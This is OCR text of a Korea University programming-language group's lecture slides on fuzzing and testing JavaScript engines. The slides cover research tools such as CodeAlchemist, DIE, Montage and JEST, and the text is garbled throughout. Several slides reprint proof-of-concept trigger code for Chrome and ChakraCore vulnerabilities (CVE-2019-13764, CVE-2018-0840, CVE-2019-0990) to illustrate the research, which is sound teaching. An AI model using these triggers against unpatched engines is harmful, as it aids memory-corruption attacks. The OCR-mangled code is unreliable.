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@ plrg.korea.ac.kr

"‘ PLRG Members Research Publications Courses Talks Trips Q

PLRG @ Korea University

‘ Welcome to Programming Language Research Group (PLRG) at Korea University!

Our research goal is to help developers design and implement high-quality software using diverse
programming language technologies.

Especially our research interests are as follows:

e program analysis for automatically understanding program behaviors and detecting bugs and
vulnerabilities.

 mechanized specification to fill the gap between human-readable specifications and machine-
friendly software.

» program synthesis to lessen the burden of software development by automatically generating
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o A] - CVE-2019-13764 (Google Chrome)

function trigger() A{
var x = =Infinity;
var kK = 0;
arr[0] = 2.3023e-320;
for (var 1 =03 1 < 1; i += x) {
if (i == -Infinity) x = +Infinity;
if (++k > 10) break;

¥

i = Math.max(i, 0x100000800);
i = Math.min(0x100000801, 1i);
1 —= 0x1000007fa;

1 >>= 1;

i += 10;

var array = new Array(i);
array[0] =
var array2

}

Common Vulnerabilities and Exposures (CVE) 2019-13764 — Proof of Concept (PoC) Z &
https://nvd.nist.gov/vuln/detail/cve-2019-13764

https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html

’VNPLRG D2{cfsta AnfEWER| gatRotatel HlojLt 7134

1.1;
= [1.1, 1.2, 1.3, 1.4];



https://nvd.nist.gov/vuln/detail/cve-2019-13764
https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html

o A] - CVE-2019-13764 (Google Chrome)

function trigger() A{
var x = =Infinity;
var kK = 0;
arr[0] = 2.3023e-320;
for (var 1 =03 1 < 1; i += x) {
if (i == -Infinity) x = +Infinity;
if (++k > 10) break;

Math.max(i, 0x100000800);
Math.min(0x100000801, i);
= Ox1000007fa;

gt I 2 AElo| Z£Z: 13 (int32_t)

e il e
|1l

var array = new Array(i);
array|[0]
var array

}

Common Vulnerabilities and Exposures (CVE) 2019-13764 — Proof of Concept (PoC) Z &
https://nvd.nist.gov/vuln/detail/cve-2019-13764

https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html
’VNPLRG neEstw AOEMERD] ST MOLt 7/34
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https://nvd.nist.gov/vuln/detail/cve-2019-13764
https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html

o A] - CVE-2019-13764 (Google Chrome)

function trigger() A{
var x = =Infinity;
var kK = 0;
arr[0] = 2.3023e-320;
for (var 1 =0; 1 < 1; i += x) {
if (i == -Infinity) x = +Infinity;
if (++k > 10) break;

Math.max(i, 0x100000800);
Math.min(0x100000801, i);
= Ox1000007fa;

>>= 1;

e 10, : 13 (int32_t)

var array = new Array(i); -1011 27|2| ArrayZ} 44
1.1
= [

array|[0] ;
var array 1.1, 1.2, 1.3, 1.4];

}

Common Vulnerabilities and Exposures (CVE) 2019-13764 — Proof of Concept (PoC) Z &
https://nvd.nist.gov/vuln/detail/cve-2019-13764

https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html
’VNPLRG neEstw AOEMERD] ST MOLt 7/34
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https://nvd.nist.gov/vuln/detail/cve-2019-13764
https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html

o A] - CVE-2019-13764 (Google Chrome)

function trigger() A{
var x = =Infinity;
var kK = 0;
arr[0] = 2.3023e-320;
for (var 1 =0; 1 < 1; i += x) {
if (i == -Infinity) x = +Infinity;
if (++k > 10) break;

Math.max(i, 0x100000800);
Math.min(0x100000801, i);
= Ox1000007fa;

>>= 1;

e 10, : 13 (int32_t)

var array = new Array(i); -1011 27|2| ArrayZ} 44
1.1
= [

e il e
|1l

array|[0]
var array

\ 1.1, 1.2, 1.3, 1.41; Out-of-Bound® 82 7Is

Common Vulnerabilities and Exposures (CVE) 2019-13764 — Proof of Concept (PoC) Z &
https://nvd.nist.gov/vuln/detail/cve-2019-13764

https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html
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https://nvd.nist.gov/vuln/detail/cve-2019-13764
https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html

o A] - CVE-2019-13764 (Google Chrome)

function trigger() { _ = =31 17
var x = -Infinity; HTML H|0|X|E S8t 22| H

var k = 0; (ZE &) 34 7ts
arr[0] = 2.3023e-320;
for (var 1 =0; 1 < 1; i += x) {
if (i == -Infinity) x = +Infinity;
if (++k > 10) break;

Math.max(i, 0x100000800);
Math.min(0x100000801, i);
= Ox1000007fa;

>>= 1;

e : 13 (int32_t)

var array = new Array(i); -1011 27|2| ArrayZ} 44
1.1
= [

e il e
|1l

array|[0]
var array

\ 1.1, 1.2, 1.3, 1.41; Out-of-Bound® 2 7t

Common Vulnerabilities and Exposures (CVE) 2019-13764 — Proof of Concept (PoC) Z &
https://nvd.nist.gov/vuln/detail/cve-2019-13764

https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html
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https://nvd.nist.gov/vuln/detail/cve-2019-13764
https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html

e S EAM (Dynamic Analysis)

- D203 MYl 50| IEE 2A0t0] AetE AE

e 7|S A3 (Symbolic Execution)

- OiX|=9| Y= 7|22 X[2toi0] Z=3-s FMot= Y

o I3 (Fuzzing / Fuzz Testing)

- Olx| Xet e5e| 48z =9 FHES XSS 2 HAfsi= E'E
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o AZEL L] Barton Miller?} 1990 ALH0| M2 = 7HE

o LZ1EMO| Of|A5EX| 2EDISH 212 (Fuzz Input)S2 XSS 2 MAMSI0] ZAL
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 Black-box Fuzzing
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* White-box Fuzzing

1L

 Gray-box Fuzzing
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 Generation-based Fuzzing

* Mutation-based Fuzzing
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[INDSS’19] CodeAlchemist

bl

- JS= 1% X2l Ao|ZE F-O0| HLt 5t Q77 EO0| &
1

("break’); // SyntaxError

var r new Array (4294967296); // RangeError

1 eva
>
3 u; // ReferenceError
4
5

var t 10; t(); // TypeError
decodeURIComponent ("%’); // URIError

o i3] O}O|C|O]
- 7|2 LS8 78 B2 M BOIFRL 2t Vst BE7(2] ’Z=gt
- Black-box Fuzzing / Generation-based Fuzzing

INDSS’19] H. Han, et al. “CodeAlchemist: Semantics-Aware Code Generation to Find
Vulnerabilities in JavaScript Engines”

’VNPLRG Dcstm AnETER| gtuotlstel HojLt 16/ 34


https://cseweb.ucsd.edu/~dstefan/cse227-spring20/papers/han:codealchemist.pdf
https://cseweb.ucsd.edu/~dstefan/cse227-spring20/papers/han:codealchemist.pdf

[INDSS’19] CodeAlchemist

function () { return 42; };
£Q);

var f
var n

’VNPLRG neEstw AOEMERD] ST MOLt 17/ 34



[INDSS’19] CodeAlchemist

function () { return 42; };
£Q);

function(){ return 42; }

’

So: func

’VNPLRG Dcstm AnETER| gtuotlstel HojLt 17/ 34



[INDSS’19] CodeAlchemist

function () { return 42; };
£Q);

f = function(){ return 42; }

’

So: func

’VNPLRG Dcstm AnETER| gtuotlstel HojLt 17/ 34



[INDSS’19] CodeAlchemist

var f = function () { return 42; };
var n = f£();

f = function(){ return 42;

’VNPLRG Dcstm AnETER| gtuotlstel HojLt 17/ 34



[INDSS’19] CodeAlchemist

~N N L B W N =

o NI O B WD e

’VPLRG

var n = 42; // Varl
var arr = new Array (0x100); // Var?
for (let 1 = 0; i < n; i++) // For3-0, For3-1
{ // Block4
arr[i] = n; // Exprb ‘
arr[n] = 1; // Expro6
}
EE:
var sO0 = new Array (0x100); // Var?2 l
var sl = 42; // Varl
for (let s2 = 0; s2 < sl; s2++) { // For3-1
for (let s3 = 0; s3 < s2; s3++) { // For3-0
sO[s3] = s2;
sO[s2] = s3;
}
}
Jedcfstin ADfEMER| gotE OtCetR A|O|L}

Ha
gjo
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[SP’20] DIE

o Q42| FV

- SZEste JS Azle| CVE| HIRXEH Y4 (Aspect)S THot

- EfR(Type)} 71 Z(Structure)’t € X|5t= H|=st CVEE Ll 27

o SHg] Of0|C|d]

- EIRi(Type)2t +Z(Structure)l| F&(Aspect)= FAXAlot= +8S At

- Black-box Fuzzing / Mutation-based Fuzzing

[SP’20] S. Park, et al. “Fuzzing javascript engines with aspect-preserving mutation”

_|o|

’VNPLRG DECfstm AntEHER| Sitotstel Mo|Lt 19/ 34


https://doi.org/10.1109/SP40000.2020.00067

[SP’20] DIE

1
2
3
4
5
6
7
8
9

10
11
12
13
14
15
16
17
18
19
20

’VPLRG

function opt(arr, obj) {

function opt(arr, obj) {

arr[0] = 1.1; @(order) arr[0] = 1.1;
peotarrtonn: o
arr[0] = 2.3023e-320; arr[0] = 2.3023e-320,;
} }
function main() { function main() {
let arr = [1.1, 2.2, 3.31,; let arr = [1.1, 2.2, 3.31;
for (let i = 0; i < Ox10000; i++){ for (let i = 0; i < Ox10000; 1i++)({
} ST Q(precondition))} =G R
opt(arr, {toString: () => { . let get = Map.prototype.get; |
arr[0] = {}: Map.prototype.get = function (key)i{
throw 1; Map.prototype.get = get,; :
1) @ arr[0] = {};
(type) return this.get(key);
opt(arr, Intl); @(new Code)
print(arr[0]); print(arr[0]);
} }
main() ; main() ;

(a) CVE-2018-0840
(e.g., input corpus)

ef = otk MojLt

(b) CVE-2018-8288
(e.g., output test case)

20/ 34



[SP’20] DIE - CVE-2019-0990

function opt(arr, start, end) {

|

2 for (let i = start; i < end; i++) { PY . _ _
. e corpus: CVE-2018-0777
4 i += 0;

5 }

6 +| start++; Generation

7 + ++Sstart, . .

s +| --start: w/ type information
9 arr[i] = 2.3023e-320;

10 }

11 + |arr[start] 2.3023e-320; _

12} Mutation

13 function main() { (structure preserving)

let arr = new Array(100);
arr.fill(1.1);

> =

17 for (let 1 = 0; i < 1000; i++) { i

18 -| optCarr, 0, 3); > Mutation

19 4 } opt(arr, 0, i); (type preserving)
20

21 opt(arr, 0O, 100000);

22 }

23 main();

’VNPLRG neEstw AOEMERD] ST MOLt 21/ 34



101 22 7|8 JS AT THF

* [Usenix’20] Montage
- JS ZE ASTE Long short-term memory (LSTM)0| &5t = nh st

- O|F 7|22 LSTM ZZ= <5610 Fa2l JS =2 Hs dd

[Usenix’20] Lee et al. “Montage: A Neural Network Language Model-Guided JavaScript
Engine Fuzzer”

 [PLDI'21] Comfort

_ JS 210] 24| 2A0 ECMA-26204 HEE 7Hehsi| 25 2 @8

- O|E 7|4I2Z Transformers §H4510 YZlo| JS T2 2SS AN

[PLDI'21] G. Ye, et al. “Automated conformance testing for JavaScript engines via deep
compiler fuzzing”

’VNPLRG Dt ADfEWER] ZHEQCHE A|OjLt 22/ 34


https://www.usenix.org/system/files/sec20summer_lee-suyoung_prepub_0.pdf
https://www.usenix.org/system/files/sec20summer_lee-suyoung_prepub_0.pdf
https://dl.acm.org/doi/10.1145/3453483.3454054
https://dl.acm.org/doi/10.1145/3453483.3454054
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off H=Z A=0| 7I5

o LC}Z JS oAIZIv} X2 E|AE! (Differential Testing)

- C}E JS AIRI0|2te 22 JS ZEO| CHsi M= S&otA| S2an0F e

[PLDI'21] G. Ye, et al. “Automated conformance testing for JavaScript engines via deep
compiler fuzzing”

o JIT ALY 7|tk =[x s} f5F0f L}E XIZ EH|AE (Differential Testing)

- JIT Ao 7|2 2| Helet= FiotA s Zo= 2ot SA6H0F ¢

[CCS’22] L. Bernhard, et al. “Jit-Picking: Differential Fuzzing of JavaScript Engines”

’VNPLRG Dt ADfEWER] ZHEQCHE A|OjLt 23/ 34


https://dl.acm.org/doi/10.1145/3453483.3454054
https://dl.acm.org/doi/10.1145/3453483.3454054
https://dl.acm.org/doi/pdf/10.1145/3548606.3560624

71AI=E BA| 7|
JS 2T HE 7|8



ACM SIGSOFT
Distinguished Paper

[ICSE'21] J. Park, et al. "JEST: N+1-version Differential Testing of Both JavaScript Engines”

[PLDI'23] J. Park, et al. “Feature-Sensitive Coverage for Conformance Testing of
Programming Language Implementations”

’VNPLRG Dcstm AnETER| gtuotlstel HojLt 25 / 34


https://doi.org/10.1145/3453483.3454054
https://dl.acm.org/doi/10.1145/3591240
https://dl.acm.org/doi/10.1145/3591240

ECMA-262 (JS T A)

13.2.5.2 Runtime Semantics: Evaluation
ArrayLiteral : [ ElementList , Elisiongpt ]

1. Letarray be ! ArrayCreate(0).
2. Let nextindex be the result of performing Array Accumulation

for ElementList with arguments array and 0.
3. ReturnlfAbrupt(nextindex).

4. If Elision is present, then

a. Let len be the result of performing ArrayAccumulation

for Elision with arguments array and nextIndex.

b. ReturnlfAbrupt(len).
5. Return array.

The Evaluation algorithm for the third alternative of ArrayLiteral in ES13

’VNPLRG neEstw AOEMERD] ST MOLt 26/ 34
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JEST - JS Engines and Specification Tester

M2 FHB{| x|
7|8

7|72t BA|
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JEST - BA[2]| {H{=|X] 7[dF IHF

0 + { valueOf() { return 1; }

7.1.3 ToNumeric ( value ),

2. If Type(primValue) is Biglnt, return prim Value.
3. Return ? ToNumber(prim Value).

’VNPLRG neEstw AOEMERD] ST MOLt 31/34



JEST - BA[2]| {H{=|X] 7[dF IHF

0 + { valueOf() { return 1; }

7.1.3 ToNumeric ( value ),

2. If Type(primValue),is Biglnt, return prim Value.
3. Return ? ToNumbeY(prim Value).

0 + { valueOf() { throw 42; }
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JEST - BA[2]| {H{=|X] 7[dF IHF

0 + { valueOf() { return 1; }

7.1.3 ToNumeric ( value ),

2. If Type(primValue),is Biglnt, return prim Value.
3. Return ? ToNumbeY(prim Value).

0 + { valueOf() { throw 42; }
« JEST-fs - Feature-Sensitive Coverage 7’22 H|¢t

[PLDI'23] J. Park, et al. “Feature-Sensitive Coverage for Conformance Testing of Programming
Language Implementations”

’VNPLRG Dcstm AnETER| gtuotlstel HojLt 31/ 34


https://dl.acm.org/doi/10.1145/3591240
https://dl.acm.org/doi/10.1145/3591240

function f() {}
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function f() {}

+ + + + +

’VPLRG
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JEST -

=

Aled
—

Z4
=

i}

Engines Exc | Abort | Var | Obj | Desc | Key
V8 0 0 0 0 0 2
GraalVM § 0 0 0 2 8
QuickJS 3 0] 1| O 0| 2
Moddable XS | 12 0O 0| O 3 5

Total | 21 0] 1] O 51 17

TABLE III: Specification bugs in ECMAScript 2020 (ES11) detected by

33/ 34

Name Feature # Assertion Known Created Resolved  Existed

ES11-1| Function |12 Key O 2019-02-07 | 2020-04-11 | 429 days
ES11-2| Function 8 Key O 2015-06-01 | 2020-04-11 | 1,776 days
ES11-3 Loop 1 Exc O 2017-10-17 | 2020-04-30 | 926 days
ES11-4 | Expression | 4 Abort O 2019-09-27 | 2020-04-23 | 209 days
ES11-5| Expression | 1 Exc O 2015-06-01 | 2020-04-28 | 1,793 days
ES11-6 Object 1 Exc X 2019-02-07 | 2020-11-05 | 637 days

’VNPLRG DEcstm AnfEMER| gitotrstel MojLt



JEST-fs - 2l Z1}

e Feature-Sensitive Coveragect= lES T QI5t0{ O 2 dat= 4=

, , # Detected Unique Bugs
Kind Name Version # New | # Confirmed | # Reported
V8 v10.8.121 0 0 4
JSC v615.1.10 15 15 24
Engine Graal]S v22.2.0 9 9 10
SpiderMonkey | v107.0b4 1 3 4
Total 25 27 42
Babel v7.19.1 30 30 35
SWC v1.3.10 27 27 41
Transpiler | Terser v5.15.1 1 1 18
Obfuscator v4.0.0 0 0 7
Total 58 58 101
Total 33 85 143

[PLDI'23] J. Park, et al. “Feature-Sensitive Coverage for Conformance Testing of Programming
Language Implementations”

’VPLRG D2{cfstn AnfEBER| g3tEotristel HlojLt 34/ 34
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